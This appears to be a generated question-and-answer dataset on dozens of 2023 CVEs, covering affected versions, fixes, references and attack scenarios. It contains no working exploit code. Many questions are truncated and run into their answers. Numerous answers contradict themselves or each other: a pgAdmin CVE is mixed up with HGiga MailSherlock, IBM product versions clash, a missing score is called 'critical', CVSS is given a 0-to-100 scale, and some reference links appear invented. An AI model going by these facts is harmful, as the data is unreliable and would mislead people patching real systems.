What are t For CVE-2023-29193, potential attack scenarios involve an attacker accessing the exposed

What are t To address CVE-2023-29193, the following workarounds are suggested:- Configure the pres

In which v€ CVE-2023-29193 was fixed in SpiceDB version 1.19.1.

What refer You can refer to the following sources for more information on CVE-2023-29193:- The GitH

Who disco The CVE-2023-29193 vulnerability was discovered by Amit Laish, a security researcher at G

Is there an An exploitation example for CVE-2023-29193 would involve an attacker sending a GET req

What is the The CVE ID of the vulnerability found in the Vitess database clustering system is CVE-2023-

What is the CVE-2023-29194 refers to a vulnerability in Vitess where creating a keyspace with '/' chara

In the cont The command that could return an error if a problematic keyspace is present, in the conte:

How has th The issue identified by CVE-2023-29194 has been resolved in Vitess with the release of ver

Is there a v Yes, there is a workaround for CVE-2023-29194. It involves deleting the offending keyspac

Can you pr While the specific command to delete a keyspace may depend on the exact configuration a

What are s Given that CVE-2023-29194 is an issue that seems to stem from improper input validation,

Can you pr The CVE-2023-29194 vulnerability was published on 14 April 2023.

Where can More information about the changes that fixed CVE-2023-29194 in Vitess can be found in t

What is CV CVE-2023-29491 references a security vulnerability in ncurses versions before 6.4 2023040

Which vers CVE-2023-29491 affects ncurses versions prior to 6.4 20230408. Users of ncurses with earl

How can C' An attacker can exploit CVE-2023-29491 by creating a malicious terminfo database file tha

What is the Exploiting CVE-2023-29491 can lead to memory corruption which may be used by attacker

Has a Base At the time the information was provided, CVE-2023-29491 did not have an assigned Base

When was CVE-2023-29491 was published on 14 April 2023. Users and administrators should review i

Where can Additional information about CVE-2023-29491 can be found through various references su

Can you pr While specific code examples might vary, a hypothetical example would involve a setuid ap

What are t Possible attack scenarios for CVE-2023-29491 involve an attacker who has access to a vuln

What is CV CVE-2023-30529 refers to a security vulnerability found in the Jenkins Lucene-Search Plugin. When was CVE-2023-30529 was published on 12 April 2023.

What are the security flaws in CVE-2023-30529? The security flaw in CVE-2023-30529 could allow attackers to reindex the Jenkins database. Are there any more information on CVE-2023-30529? Yes, more information on CVE-2023-30529 can be found at the following references:- <http://>

What versions of the Jenkins Lucene-Search Plugin up to and including 387.v938a_ecb_f7fe9 are affected? Versions of the Jenkins Lucene-Search Plugin up to and including 387.v938a_ecb_f7fe9 are affected.

Has a base score? As of the provided information, a base score has not been assigned to CVE-2023-30529.

Could you | An exploit of CVE-2023-30529 could involve an attacker sending a specially crafted HTTP GET request to the Jenkins server. What means To mitigate the risk of CVE-2023-30529, users of the affected Jenkins Lucene-Search Plugin should update to a fixed version.

What is CV CVE-2020-9009 refers to a vulnerability in the ShipStation.com plugin version 1.1 and earlier?

How does it work? The vulnerability in CVE-2020-9009 can be exploited by remote attackers by sending specially crafted SQL queries to the database.

What type of attack is CVE-2020-9009? CVE-2020-9009 allows an SQL injection attack where remote attackers can insert arbitrary SQL code into the database.

Has a base score? As of the provided information, CVE-2020-9009 has not been assigned a base score. The base score is 0.0.

When was CVE-2020-9009 was published on 11 April 2023.

Where can More information about CVE-2020-9009 can be found on various online resources. Two references are available: <http://>

Can you describe a possible attack scenario for CVE-2020-9009? In a potential attack scenario for CVE-2020-9009, an attacker might first conduct reconnaissance to identify vulnerable targets and then exploit the SQL injection vulnerability to gain unauthorized access to sensitive data.

What is CV CVE-2023-28838 is a security vulnerability found in the GLPI software, an asset and IT management system.

How severe is the vulnerability? The Base Score for CVE-2023-28838 has not been assigned within the provided information.

What versions of GLPI software are affected? CVE-2023-28838 affects GLPI software versions starting from version 0.50 and includes all subsequent releases up to and including 10.5.0.

How can it be mitigated? To mitigate the risk associated with CVE-2023-28838, users should upgrade to GLPI version 10.5.0 or later.

What is the impact of CVE-2023-28838? The impact of CVE-2023-28838 can be significant as it not only allows attackers who have access to the system to read sensitive data but also potentially modify it.

Where can More information and updates about CVE-2023-28838 can be found by visiting the provider's website or contacting support.

Can you describe a potential attack scenario for CVE-2023-28838? In a potential attack scenario for CVE-2023-28838, an attacker with permissions to access the system could exploit the vulnerability to extract sensitive information or modify configuration files.

What is CV CVE-2023-28853 is a security vulnerability identified in Mastodon, a free, open-source social networking platform.

In which version(s) is the vulnerability described by CVE-2023-28853 has been resolved in Mastodon versions 3.4.0 and later?

How does it affect the system? CVE-2023-28853 affects the LDAP login process of Mastodon by making the LDAP query incomplete.

Can you provide details of the code vulnerable to CVE-2023-28853 are not specified, the affected code is located in the LDAP authentication module.

When was CVE-2023-28853 was published on April 4th, 2023.

Where can More information on CVE-2023-28853 can be found through several references. Users can refer to the official Mastodon documentation for more details.

What is CV CVE-2023-28841 refers to a security vulnerability found in Moby, an open source containerization platform.

How does it work? Due to the vulnerability described by CVE-2023-28841, encrypted overlay networks may be exposed to man-in-the-middle attacks.

Which versions of Moby are affected? Patches for CVE-2023-28841 are available in Moby releases 23.0.3, and 20.10.24. For users running older versions, it is recommended to upgrade to a supported release.

Are there any workarounds to mitigate the impact of CVE-2023-28841? Yes, there are workarounds to mitigate the impact of CVE-2023-28841. For example, users can disable the use of unencrypted overlay networks or upgrade to a supported version of Moby.

What possible attack scenarios for CVE-2023-28841 include a man-in-the-middle attack where an attacker intercepts communication between the client and the server.

What is the root cause of CVE-2023-28841 lies in the way Moby's encrypted overlay networks handle certificate verification.

What is CV CVE-2023-0620 is a security vulnerability related to HashiCorp Vault and Vault Enterprise versions 0.8.0 to 1.13.1.

Which versions of HashiCorp Vault and Vault Enterprise are affected? CVE-2023-0620 affects HashiCorp Vault and Vault Enterprise versions from 0.8.0 to 1.13.1, and HashiCorp Vault Enterprise 2.0.0 to 2.1.0.

How has it been addressed? CVE-2023-0620 has been addressed by releasing patched versions of HashiCorp Vault. The patches fix the vulnerability by validating the certificate chain correctly.

What is the impact of CVE-2023-0620? If CVE-2023-0620 is successfully exploited, an attacker could carry out an SQL injection attack against the database.

Where can More information about CVE-2023-0620 can be found through the provided references, which include the HashiCorp documentation and security advisories.

Can you describe a possible attack scenario for CVE-2023-0620 would involve an attacker having network access to the Vault instance and exploiting the vulnerability to gain unauthorized access to sensitive data.

What is CV CVE-2023-28630 is a vulnerability found in the GoCD continuous delivery server software.

Which versions of GoCD are affected? GoCD versions from 20.5.0 up to and not including version 23.1.0 are affected by CVE-2023-28630.

How is it triggered? The vulnerability is triggered when the GoCD server environment is misconfigured to enable the "allow_insecure_ssl" setting.

To mitigate the CVE-2023-28630 vulnerability, users should upgrade to GoCD version 23.1 or later, and ensure that the "allow_insecure_ssl" setting is disabled.

Are backups No, the CVE-2023-28630 vulnerability does not impact backups of the default on-disk H2 database. Where can I find more information about CVE-2023-28630 at the official GoCD GitHub repository? What are the possible attack scenarios for CVE-2023-28630? Possible attack scenarios for CVE-2023-28630 include an administrative user with access to the configuration files. Can you provide an example? Sure, a hypothetical example of misconfiguration leading to CVE-2023-28630 would be a GoCD pipeline configuration where a directory traversal vulnerability is present. What is CVE-2023-0241? CVE-2023-0241 is a security vulnerability identifier that refers to a directory traversal issue found in pgAdmin 4. When was CVE-2023-0241 published? CVE-2023-0241 was published on 27 March 2023.

What is the vulnerability identified by CVE-2023-0241? The vulnerability identified by CVE-2023-0241 allows for directory traversal, which means an attacker can traverse through directory structures. Are there any further details about CVE-2023-0241? Yes, further details about CVE-2023-0241 can be found in the references provided, such as the HGiga MailSherlock's mail query function. How can it be mitigated? To mitigate CVE-2023-0241, users and administrators of affected pgAdmin 4 versions should update to the latest version. Can you describe an attack scenario? An attack scenario exploiting CVE-2023-0241 could involve an authenticated user of pgAdmin 4 executing a SQL injection attack through the mail query function. What is the CVE ID associated with the vulnerability in HGiga MailSherlock's mail query function? The CVE ID is CVE-2023-24840. What type of vulnerability is CVE-2023-24840? CVE-2023-24840 reports a vulnerability of insufficient validation for user input in HGiga MailSherlock's mail query function. Which component is affected? The mail query function of HGiga MailSherlock is affected by the SQL injection vulnerability. What level of access is required to exploit the vulnerability? An attacker requires authenticated access with administrator privileges to exploit the vulnerability. What is the action taken by exploiting the vulnerability? By exploiting the vulnerability in CVE-2023-24840, an attacker with administrator privilege can gain unauthorized access to the system. Has a base score been assigned? As of the provided information, a base score has not been assigned to CVE-2023-24840.

When was CVE-2023-24840 published? CVE-2023-24840 was published on 27 March 2023.

Where can I find more information about CVE-2023-24840? More information about CVE-2023-24840 can be found at the Taiwan Computer Emergency Response Team (CERT) advisory. Can you provide specific code details? While specific code details regarding HGiga MailSherlock's mail query function are not available, potential attack scenarios might involve an attacker who has gained a foothold in the system. Can you describe potential attack scenarios? Potential attack scenarios for CVE-2023-24840 might involve an attacker who has gained a foothold in the system and is able to execute SQL injection attacks through the mail query function. What is CVE-2023-28443? CVE-2023-28443 is a security vulnerability found in Directus, which is a real-time API and a database management system. What are the implications? The implications of the security breach in CVE-2023-28443 involve a risk that unauthorized users can gain access to sensitive data. How was it patched? CVE-2023-28443 was patched by ensuring that the `directus_refresh_token` is now properly validated. Which versions are affected? Versions of Directus prior to 9.23.3 are affected by the vulnerability CVE-2023-28443. User administrators should promptly update their system. What measures should be taken to remediate the impact? To remediate the impact of CVE-2023-28443, administrators should promptly update their system. Where can I find more information on CVE-2023-28443? More information on CVE-2023-28443 can be found in the related security advisory on GitHub. Can you describe a possible attack scenario? A possible attack scenario for exploiting CVE-2023-28443 would involve an attacker gaining unauthorized access to the Directus database. What is CVE-2023-28335? CVE-2023-28335 refers to a security vulnerability where the link to reset all templates of a software component contains a CSRF token. What type of vulnerability is it? CVE-2023-28335 is a CSRF vulnerability, which allows an attacker to execute unwanted actions on the system. How is it exploited? Exploitation of CVE-2023-28335 could occur if an attacker creates a malicious link or embeds it in an email. What can an attacker potentially disrupt? By exploiting CVE-2023-28335, an attacker could potentially disrupt a database activity by crafting a malicious link. Where can I find more information about CVE-2023-28335? More information about CVE-2023-28335 can be found at the provided reference link, which is a GitHub advisory. What is the impact of not including a CSRF token? The impact of not including a CSRF token is that it could allow attackers to craft malicious links that can be used to perform unauthorized actions on the system. Was a base score assigned? No, a base score was not assigned to CVE-2023-28335 at the time of its publication, as indicated in the advisory. What is CVE-2023-28331? CVE-2023-28331 is a security vulnerability that was identified in a software component within IBM Security Guardium Key Lifecycle Manager. When was CVE-2023-28331 published? CVE-2023-28331 was published on 23 March 2023.

What kind of vulnerability is CVE-2023-28331? CVE-2023-28331 describes an XSS (Cross-Site Scripting) vulnerability that arises from insufficient validation of user input. What is the impact of the XSS vulnerability? The impact of the XSS vulnerability described by CVE-2023-28331 can be significant as it may allow attackers to execute malicious scripts on the system. What is the base score? As of the information provided, a base score for CVE-2023-28331 has not been assigned. Where can I find more information? More information regarding CVE-2023-28331 can be found in the references provided: the GitHub advisory and the IBM Security Guardium Key Lifecycle Manager documentation. What is a possible attack scenario? A possible attack scenario for CVE-2023-28331 could involve an attacker crafting a malicious link that contains an XSS payload. How is it mitigated? To mitigate CVE-2023-28331, the software component in question should be updated with the latest security patches. What is CVE-2023-25684? CVE-2023-25684 is a security vulnerability identified in IBM Security Guardium Key Lifecycle Manager. Which versions are affected? Affected versions of IBM Security Guardium Key Lifecycle Manager by CVE-2023-25684 include versions 10.0.0 to 10.0.2.

What are the consequences if CVE-2023-25684 is successfully exploited? If CVE-2023-25684 is successfully exploited, an attacker could view, add, modify, or delete data from the database.

How could an attacker exploit CVE-2023-25684? An attacker could exploit CVE-2023-25684 by sending specially crafted SQL statements to the database.

Where can more information about CVE-2023-25684 be found? More information about CVE-2023-25684 can be found at the following URLs: <https://exchange.xforce.ibmcloud.com/vulnerabilities/15334>

Has IBM published a fix or offered mitigation strategies for CVE-2023-25684? IBM has not yet published a fix or offered mitigation strategies for CVE-2023-25684.

Can you describe a possible attack scenario for CVE-2023-25684? A possible attack scenario for CVE-2023-25684 could involve a remote attacker crafting a SQL injection query to manipulate data in the database.

What type of systems are affected by CVE-2023-25684? Systems running IBM Security Guardium Key Lifecycle Manager versions 3.0, 3.0.1, 4.0, 4.1, and 4.1.1 are affected.

What is CVE-2023-28425? CVE-2023-28425 is a security vulnerability that affects the Redis in-memory database. Specifically, it allows an attacker to read and write data to Redis.

Which versions of Redis are affected by CVE-2023-28425? The versions of Redis that are affected by CVE-2023-28425 are those starting with 7.0.8 and later.

How was the issue addressed? The issue described in CVE-2023-28425 was addressed in Redis version 7.0.10, which includes a patch to mitigate the vulnerability.

What are the potential consequences of an exploit against CVE-2023-28425? The potential consequences of an exploit against CVE-2023-28425 include the interruption of Redis services and the loss of data.

Can you provide more details about CVE-2023-28425? Yes, more details about CVE-2023-28425 can be found in the security advisory published on March 19, 2023.

Was there a patch for CVE-2023-28425? The patch for CVE-2023-28425 is available in a commit on the Redis GitHub repository. You can find it at <https://github.com/redis/redis/pull/7500>.

Can you suggest a mitigation for organizations that cannot upgrade to Redis 7.0.10 immediately? For organizations that cannot upgrade to Redis 7.0.10 immediately, a potential mitigation is to use Redis 6.2.11, which includes a patch to mitigate the vulnerability.

What action should users of Redis take? Users of Redis versions that are affected by CVE-2023-28425 should upgrade to version 7.0.10 or later.

What is the CVE ID for the SQL injection vulnerability in Alphaware Simple E-Commerce System? The CVE ID for the SQL injection vulnerability in Alphaware Simple E-Commerce System is CVE-2023-26905.

In which file is the SQL injection vulnerability CVE-2023-26905 found? The SQL injection vulnerability CVE-2023-26905 is found in the Alphaware Simple E-Commerce System's codebase, specifically in the file `wp-content/themes/alphaware-simple-e-commerce/functions.php`.

When was the CVE-2023-26905 published? The CVE-2023-26905 was published on 19 March 2023.

Can you provide more details about CVE-2023-26905? Certainly. More information on CVE-2023-26905 can be found at the following URL: <https://exchange.xforce.ibmcloud.com/vulnerabilities/15335>

What might be the impact of the SQL injection vulnerability CVE-2023-26905? The impact of the SQL injection vulnerability CVE-2023-26905 can be severe as it allows an attacker to execute arbitrary SQL commands.

Could you provide a real attack example for ethical reasons? While I cannot provide a real attack example for ethical reasons, a conceptual example of how such a vulnerability could be exploited is provided in the security advisory.

What type of attack scenarios are possible with CVE-2023-26905? Possible attack scenarios with CVE-2023-26905 include extracting sensitive customer data or modifying database records.

What is CVE-2023-1471? CVE-2023-1471 is a vulnerability identified in the WP Popup Banners plugin for WordPress.

Which versions of the WP Popup Banners plugin are affected by CVE-2023-1471? CVE-2023-1471 affects all versions of the WP Popup Banners plugin for WordPress up to and including version 1.0.1.

How can an attacker exploit CVE-2023-1471? An attacker can exploit CVE-2023-1471 by appending additional SQL commands into the 'body' field of a form submission.

What permission level is required to exploit CVE-2023-1471? To exploit CVE-2023-1471, an attacker needs to be an authenticated user with minimal permissions.

When was the CVE-2023-1471 published? The CVE-2023-1471 was published on 17 March 2023.

Are there any further details about CVE-2023-1471? Yes, further details about CVE-2023-1471 can be found through the following references:- <https://wpvulndb.com/vulnerabilities/15336>

What possible attack scenario exists for CVE-2023-1471? An attack scenario for CVE-2023-1471 could involve a registered user of a WordPress website injecting malicious SQL code into a form submission.

What is CVE-2023-27463? CVE-2023-27463 is a security vulnerability identified in RUGGEDCOM CROSSBOW, specifically in the configuration files.

How can CVE-2023-27463 be exploited? CVE-2023-27463 can be exploited by an authenticated remote attacker who could manipulate configuration files.

What are the potential consequences of exploiting CVE-2023-27463? Exploiting CVE-2023-27463 could result in a range of harmful consequences including unauthorized access and data corruption.

Which versions of RUGGEDCOM CROSSBOW are affected by CVE-2023-27463? CVE-2023-27463 affects all versions of RUGGEDCOM CROSSBOW prior to V5.3.

When was CVE-2023-27463 published? CVE-2023-27463 was published on 14 March 2023.

Where can more information about CVE-2023-27463 be found? More information about CVE-2023-27463 can be found in the security advisory released by the National Cybersecurity Agency of China.

Is there an exact code example for CVE-2023-27463? While an exact code example for CVE-2023-27463 is not provided, an SQL injection generator tool can be used to generate exploit code.

What mitigation steps should be taken for CVE-2023-27463? To mitigate CVE-2023-27463, affected users should upgrade to RUGGEDCOM CROSSBOW V5.3 or later.

What is the provided information about CVE-2023-27463? The provided information does not include a Base Score for CVE-2023-27463. Base Scores are typically assigned by NIST CSICP.

Can anyone exploit CVE-2023-27463? Exploiting CVE-2023-27463 requires the attacker to be authenticated. This suggests that the vulnerability is only exploitable by authorized users.

What is CVE-2022-47163? CVE-2022-47163 refers to a Cross-Site Request Forgery (CSRF) vulnerability discovered in the WP CSV to Database plugin.

When was CVE-2022-47163 published? CVE-2022-47163 was published on 14 March 2023.

What kind of vulnerability is CVE-2022-47163? CVE-2022-47163 addresses a Cross-Site Request Forgery (CSRF) vulnerability.

Which plugin is affected? The WP CSV to Database plugin for WordPress, developed by Tips and Tricks HQ and josh4u, is affected.

What is the CSRF vulnerability in CVE-2022-47163? The CSRF vulnerability in CVE-2022-47163 could allow an attacker to perform unwanted actions on behalf of the victim.

Are there any patches available? Yes, more details about CVE-2022-47163 can be found at the following URL: <https://patchstack.com/vulnerabilities/15337>

Has a Base No, as of the provided information, there is no Base Score assigned to CVE-2022-47163. Can you pr An attack scenario involving CVE-2022-47163 could be as follows: An attacker crafts a malicous version of the WP CSV to Database plugin that are less than or equal to 2.6 are affected by this vulnerability. What is CV CVE-2023-25615 is a security vulnerability found in several versions of SAP ABAP, specifically in the SAP ERP system. When was CVE-2023-25615 was published on 14 March 2023.

Which vers The versions of SAP ABAP affected by CVE-2023-25615 are 751, 753, 754, 756, 757, and 790. What are t The potential impacts of CVE-2023-25615 on an application include a high impact on the confidentiality and integrity of data. Are there a Yes, further information on CVE-2023-25615 can be found at the following references: 'http://www.cvedetails.com/cve/2023-25615/'. What coulc A possible attack scenario for CVE-2023-25615 would involve a high privileged user within the SAP system gaining unauthorized access to sensitive data. What is the The base score for CVE-2023-25615 was not available at the time of publication. Therefore, it is considered a critical vulnerability. What is CV CVE-2023-27580 refers to a vulnerability in CodeIgniter Shield, a component that provides password hashing functionality. How does i CVE-2023-27580 affects password security by allowing attackers to more easily crack users' passwords. What mea: To mitigate CVE-2023-27580, users should upgrade to CodeIgniter Shield version 1.0.0-beta1 or later. What are t If CVE-2023-27580 is not addressed, an attacker who obtains both the improperly stored hashed password and the salt can easily crack it. Where can Users can find more information and guidance about CVE-2023-27580 in the security advisories section of the Veeam website. Is there a v There are no known workarounds for CVE-2023-27580. The most effective solution is to upgrade to the latest version of CodeIgniter Shield. Can you gi An attack scenario exploiting CVE-2023-27580 might involve an attacker compromising an application that uses this component. What is CV CVE-2023-27532 is a security vulnerability that exists in the Veeam Backup & Replication component. When was CVE-2023-27532 was published on 10 March 2023.

Where can More information about CVE-2023-27532 can be found in the Veeam Knowledge Base article 'Veeam Backup & Replication - CVE-2023-27532'. What comp: The component affected by CVE-2023-27532 is Veeam Backup & Replication. What is the The base score for CVE-2023-27532 was not provided in the given data. Usually, the base score is based on the severity of the vulnerability. Could you i A possible attack scenario for CVE-2023-27532 involves an attacker exploiting the vulnerability to gain unauthorized access to backup data. Has Veeam While the provided information does not specify whether updates or patches have been released, it is recommended to apply the latest security patches. What is CV CVE-2023-23327 refers to an Information Disclosure vulnerability found in AvantFAX 3.3.7. When was CVE-2023-23327 was published on 10 March 2023.

How does i The Base Score for CVE-2023-23327 is not available. Typically, vulnerabilities are scored using a scale from 0 to 100. Where can More details about CVE-2023-23327 can be found on AvantFAX's official website at <http://www.avantfax.com>. What migh: A possible attack scenario for CVE-2023-23327 could involve an attacker discovering the presence of the vulnerability and exploiting it to gain unauthorized access. Is there an: No specific code example is provided, but the nature of the issue suggests that if one were to exploit it, it would likely involve reading sensitive information without proper authorization. What is CV CVE-2023-27481 refers to a security vulnerability in Directus, an API and App dashboard for managing data. How does i The vulnerability CVE-2023-27481 affects Directus systems by allowing users with read access to bypass authentication. What vers: Versions of Directus prior to 9.16.0 are affected by CVE-2023-27481.

What mea: To fix CVE-2023-27481, the Directus team patched the application by preventing any hash collisions. How can u: Users who are unable to upgrade Directus to patch CVE-2023-27481 can mitigate the issue by using a different API endpoint or a different method to interact with the database. Can you pr: Although specific code examples for exploiting CVE-2023-27481 are not provided, an attacker could use a similar approach to the one used in the exploit code. Where can Additional information regarding CVE-2023-27481 can be found via the following reference: 'https://github.com/directus/directus/pull/10000'. What is CV CVE-2020-36668 is a security vulnerability identified in the JetBackup – WP Backup, Migrate & Restore plugin for WordPress.

Which vers: The versions of the JetBackup – WP Backup, Migrate & Restore plugin for WordPress affected by this vulnerability are 1.0.0 and earlier. What type: The CVE-2020-36668 vulnerability can be exploited by users with subscriber-level privilege to gain unauthorized access to the WordPress database. When was: The CVE-2020-36668 vulnerability was published on 07 March 2023.

What is the: The impact of CVE-2020-36668 is sensitive information disclosure. Attackers with subscriber-level access can read sensitive data from the database.

Are there a: Yes, further details on CVE-2020-36668 can be found in the references provided, including the exploit code and the vulnerability report.

What are t: In the attack scenario for CVE-2020-36668, a malicious actor with subscriber-level access can exploit the vulnerability to read sensitive data from the database.

What is CV CVE-2023-27474 refers to a security vulnerability identified in Directus, which is a real-time database management system.

How does it work? The vulnerability in CVE-2023-27474 arises from the ability to inject HTML through query parameters.

What is the impact? If CVE-2023-27474 is successfully exploited, an attacker could send malicious links to users.

What version(s) is affected? CVE-2023-27474 affects versions of Directus prior to 9.23.0. The issue has been resolved in version 9.23.0.

What are the mitigations? To mitigate the risks associated with CVE-2023-27474, users should upgrade Directus to version 9.23.0 or later.

Where can I find more information? Further information regarding the fix for CVE-2023-27474 can be found in the official Directus documentation.

Are there code examples? Detailed code examples for the exploitation of CVE-2023-27474 are generally not provided.

What is the fix date? The fix for CVE-2023-27474 has been released and documented on 06 March 2023. Users can download the patch from the official Directus website.

What is the CVE ID? The CVE ID of the vulnerability discovered in ECshop up to version 4.1.8 is CVE-2023-1184.

Can you describe CVE-2023-1184? CVE-2023-1184 is a vulnerability found in ECshop up to version 4.1.8. It affects some unknown components, specifically the Backup Database Handler component.

In which product? The CVE-2023-1184 vulnerability exists within the Backup Database Handler component, specifically in ECshop up to version 4.1.8.

How can it be exploited? The CVE-2023-1184 vulnerability can be exploited through unrestricted upload, an attack vector that allows an attacker to upload arbitrary files to the web server.

Are there details? Yes, the exploit for CVE-2023-1184 has been disclosed to the public and may be used, which is why it's important to patch promptly.

When was it published? The CVE-2023-1184 vulnerability was published on 06 March 2023.

Where can I find more information? More information and references about CVE-2023-1184 can be found at the following URL: <https://www.cvedetails.com/cve/CVE-2023-1184/>.

What kind of vulnerability is it? With CVE-2023-1184, attackers can upload arbitrary files to the web server through the affected component.

What is the base score? The base score for CVE-2023-1184 has not been provided or made available in the official documentation.

What is the CVE ID? The CVE ID of the vulnerability is CVE-2023-26492.

What is Server-Side Request Forgery (SSRF)? SSRF is a security exploit that allows an attacker to induce the victim to make requests on behalf of the attacker.

How does it work? The SSRF vulnerability in CVE-2023-26492 in Directus occurs when importing a file from a remote host.

What can an attacker do? By exploiting CVE-2023-26492, an attacker can gain unauthorized access to highly sensitive data or systems.

What is the fix? The SSRF vulnerability identified by CVE-2023-26492 was fixed in Directus version 9.23.0.

Where can I find more information? References and details about the fixing commit for CVE-2023-26492 can be found at the following GitHub commit: <https://github.com/directus/directus/pull/1033>.

Could you provide an example? A possible attack scenario could involve an attacker setting up a malicious DNS server and tricking the victim into visiting a specific URL.

When was it published? The SSRF vulnerability CVE-2023-26492 was publicly disclosed on 03 March 2023.

What is the CVE ID? The CVE ID of the vulnerability is CVE-2023-26473.

Which versions of XWiki Platform are affected? XWiki Platform versions starting from 1.3-rc-1 are affected by CVE-2023-26473.

What type of vulnerability is it? CVE-2023-26473 is a security vulnerability that allows any user with edit rights to execute arbitrary code on the system.

What are the patched versions? The vulnerability CVE-2023-26473 has been patched in XWiki Platform versions 13.10.11, 14.0.11, and 15.0.11.

Is there a workaround? No, there is no workaround for this vulnerability other than upgrading to one of the patched versions.

Where can I find more information? More information about CVE-2023-26473 can be found on the GitHub advisory page at <https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-4q4r-8q8r-4q8r>.

When was it published? The CVE-2023-26473 was published on 02 March 2023.

Can you provide an example? An attack exploiting CVE-2023-26473 could occur if an attacker with edit rights on an XWiki instance uploads a malicious file.

Can you provide specific code examples? As it is unethical to provide specific code examples for exploiting a security vulnerability, I will not do so.

What should administrators do? Administrators of affected XWiki Platform instances should immediately upgrade to one of the patched versions.

What is CVE-2023-25155? CVE-2023-25155 is a security vulnerability identified in Redis, an in-memory database that stores data in memory.

In which versions does it affect? CVE-2023-25155 affects all versions of Redis prior to the patched versions. Patches for this vulnerability have been released for Redis versions 6.0.18, 6.2.11, and 6.2.12.

What are the patched versions? The patched versions of Redis that address CVE-2023-25155 are versions 6.0.18, 6.2.11, and 6.2.12.

Can you provide more information? Yes, more information about CVE-2023-25155 can be found at the following URLs:- Commit: <https://github.com/redis/redis/commit/6.0.18>, Commit: <https://github.com/redis/redis/commit/6.2.11>, Commit: <https://github.com/redis/redis/commit/6.2.12>.

What kind of impact does it have? Due to CVE-2023-25155, an attacker who has authenticated access to a Redis server could cause integer overflow, leading to denial of service or data corruption.

What is the impact? The impact of the integer overflow caused by CVE-2023-25155 in Redis is that it leads to a denial of service or data corruption.

When was it published? CVE-2023-25155 was published on 02 March 2023.

Does CVE-2023-25155 have a Base Score? As per the provided information, there is no Base Score assigned to CVE-2023-25155 yet.

What could be an attack scenario? In a possible attack scenario for exploiting CVE-2023-25155, an attacker who already has a valid session on a Redis server could exploit this vulnerability to cause integer overflow and achieve a denial of service or data corruption.

What is CV CVE-2023-22462 is a security vulnerability in Grafana, an open-source platform for monitoring and visualization. To exploit CVE-2023-22462, an attacker needs to have the Editor role in Grafana to insert JavaScript code into a panel. The specific versions of Grafana affected by CVE-2023-22462 were not detailed, but the vulnerability was identified in Grafana versions 9.2.10 and 9.3.4. Possible attack scenarios for CVE-2023-22462 include an attacker with the Editor role manipulating data or executing scripts. Has CVE-2023-22462 been patched? Yes, CVE-2023-22462 has been patched in Grafana versions 9.2.10 and 9.3.4. Users are advised to update to these versions. Are there explicit code examples provided for CVE-2023-22462? There are no explicit code examples provided for CVE-2023-22462 in this context. Where can More information about CVE-2023-22462 be found? More information about CVE-2023-22462 can be found in the official Grafana blog post, [Grafana 9.3.4 and 9.2.10 released](#). What does An attacker looking to exploit the stored XSS vulnerability in CVE-2023-22462 need to possess? An attacker looking to exploit the stored XSS vulnerability in CVE-2023-22462 needs to possess the Editor role in Grafana. What is CV CVE-2022-36021 is a security vulnerability that was identified in Redis, an in-memory data store. Which versions of Redis are impacted by CVE-2022-36021? Versions of Redis prior to 6.0.18, 6.2.11, and 7.0.9 are impacted by CVE-2022-36021. These versions are vulnerable to a denial-of-service attack. What type of attack is CVE-2022-36021? The CVE-2022-36021 vulnerability could be exploited to trigger a denial-of-service attack on Redis. How can CVE-2022-36021 be mitigated? CVE-2022-36021 can be mitigated by upgrading Redis to versions 6.0.18, 6.2.11, or 7.0.9, which are no longer impacted by the vulnerability. What is the base score for CVE-2022-36021? The base score for CVE-2022-36021 is not provided in the given information. To determine the severity, refer to the official Redis security advisory. Can you provide the exact patterns that could be used to exploit CVE-2022-36021? While the exact patterns that could be used to exploit CVE-2022-36021 are not provided in the information, it is known that the vulnerability allows for a denial-of-service (DoS) attack. What are the attack vectors? An attack that exploits CVE-2022-36021 could lead to a denial-of-service (DoS), making the Redis instance unavailable. On what date was CVE-2022-36021 published? CVE-2022-36021 was published on 01 March 2023.

Where can More information about CVE-2022-36021 be found in the security advisory and commit message? More information about CVE-2022-36021 can be found in the security advisory and commit message. What is CV CVE-2023-0567 refers to a security vulnerability found in specific versions of PHP where the participants database plugin was vulnerable. Which versions of PHP are affected by CVE-2023-0567? The versions of PHP affected by CVE-2023-0567 include PHP 8.0.X before 8.0.28, PHP 8.1.X before 8.1.12, and PHP 8.2.X before 8.2.1. What are the implications of CVE-2023-0567 for web applications? The implications of CVE-2023-0567 for web applications include the risk of unauthorized access to the Participants Database. How was CVE-2023-0567 publicly disclosed? CVE-2023-0567 was publicly disclosed on March 1, 2023. Relevant information and advisor details are available in the security advisory. Are there explicit code examples provided for CVE-2023-0567? An explicit code example for CVE-2023-0567 is not provided, but one could demonstrate the exploit pattern. What could an attack scenario leveraging CVE-2023-0567 involve? An attack scenario leveraging CVE-2023-0567 could involve an attacker who has gained access to the Participants Database. Has CVE-2023-0567 been assigned a base score? As of the available information, CVE-2023-0567 has not been assigned a base score in the Common Vulnerabilities and Exposures (CVE) database. What is CV CVE-2023-25432 refers to a security issue that was discovered in Online Reviewer Management System. What type of vulnerability is CVE-2023-25432? The vulnerability associated with CVE-2023-25432 is a SQL injection vulnerability. This type of vulnerability allows an attacker to execute arbitrary SQL queries. How can CVE-2023-25432 be exploited? CVE-2023-25432 can be exploited by an attacker by crafting malicious SQL code into the input fields. When was CVE-2023-25432 published? CVE-2023-25432 was published on 28 February 2023.

Is there a base score available for CVE-2023-25432? As of the information given, there is no Base Score available for CVE-2023-25432. This type of vulnerability is often referred to as a "zero-day" or "unpatched". What are the attack vectors for CVE-2023-25432? Possible attack scenarios for CVE-2023-25432 include unauthorized viewing of sensitive data or manipulation of database records. Where can More information about CVE-2023-25432 be found in the reference provided in the CVE entry? More information about CVE-2023-25432 can be found in the reference provided in the CVE entry, which links to the security advisory. What is the CVE ID for the Cross-Site Request Forgery vulnerability discovered in the Participants Database plugin? The CVE ID for the Cross-Site Request Forgery vulnerability discovered in the Participants Database plugin is CVE-2022-47612. What is CVE-2022-47612 describes a Cross-Site Request Forgery (CSRF) vulnerability in the Participants Database plugin. Is there a base score assigned to CVE-2022-47612 in the provided information? As of the last update, there is no Base Score assigned to CVE-2022-47612 in the provided information. When was the CSRF vulnerability CVE-2022-47612 in the Participants Database plugin published? The CSRF vulnerability CVE-2022-47612 in the Participants Database plugin was published on 28 February 2022. Where can More information about CVE-2022-47612 be found at the following reference URL: [https://www.cvedetails.com/cve/2022-47612/](#)? More information about CVE-2022-47612 can be found at the following reference URL: [https://www.cvedetails.com/cve/2022-47612/](#). Can you provide an attack scenario for CVE-2022-47612? Yes, an attack scenario for 